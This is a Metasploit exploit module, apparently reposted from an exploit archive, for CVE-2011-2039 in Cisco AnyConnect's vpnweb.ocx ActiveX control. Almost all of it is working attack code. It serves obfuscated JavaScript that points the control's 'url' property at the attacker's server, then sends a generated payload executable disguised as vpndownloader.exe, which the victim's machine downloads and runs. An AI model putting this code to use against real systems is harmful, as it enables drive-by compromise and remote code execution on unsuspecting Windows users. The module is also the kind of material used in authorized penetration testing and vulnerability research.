Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

EKU-ID: 453	CVE: 2011-2039	OSVDB-ID: 72714
Author: bannedit	Published: 2011-06-08	Verified:
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##
# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
   'Description'    => %q{
     This module exploits a vulnerability in the Cisco AnyConnect VPN client
    vpnweb.ocx ActiveX control. This control is typically used to install the
    VPN client. An attacker can set the 'url' property which is where the control
    tries to locate the files needed to install the client.

     The control tries to download two files from the site specified within the
    'url' property. One of these files it will be stored in a temporary directory and
    executed.
     },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'bannedit' ],
   'Version'        => '$Revision: 12872 $',
   'References'     =>
    [
     [ 'CVE', '2011-2039' ],
     [ 'OSVDB', '72714'],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
     [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
    ],
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic',
       {
        'Arch' => ARCH_X86
       }
     ],
    ],
   'DisclosureDate' => 'Jun 01 2011',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
   ], self.class)
end

def on_request_uri(cli, request)

if request.uri.match(/vpndownloader\.exe/)
exe = generate_payload_exe({:code => payload.encoded})

   print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
   send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
   select(nil, nil, nil, 5) # let the file download
   handler(cli)
   return
  end

  if request.uri.match(/updates\.txt/)
   print_status("Client requested: #{request.uri}. Sending updates.txt")
   updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
   send_response(cli, updates, { 'Content-Type' => 'text/plain' })
   return
  end

url = get_uri(cli)

  dir = rand_text_alpha((rand(40) + 1))
  js = ::Rex::Exploitation::JSObfu.new %Q|
  var x = document.createElement("object");
  x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
  x.url = "#{url}/#{dir}/";
|
  js.obfuscate
  html = "<html>\n\t<script>#{js}\t</script>\n</html>"
  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, html)
end
end